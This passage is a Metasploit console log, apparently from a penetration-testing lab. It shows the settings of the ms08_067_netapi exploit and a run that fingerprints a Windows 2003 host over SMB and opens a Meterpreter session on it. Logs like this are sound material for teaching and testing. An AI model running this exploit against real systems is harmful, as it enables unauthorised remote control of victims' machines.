Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LPORT 4444 yes The listen port
RHOST 7.7.7.20 no The target address
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(ms08_067_netapi) > run
[*] Started bind handler
[*] 7.7.7.20:445 - Automatically detecting the target...
[*] 7.7.7.20:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 7.7.7.20:445 - We could not detect the language pack, defaulting to English
[*] 7.7.7.20:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 7.7.7.20:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 7.7.7.20
[*] Meterpreter session 2 opened (172.16.0.20-172.16.0.11:0 -> 7.7.7.20:4444)
meterpreter >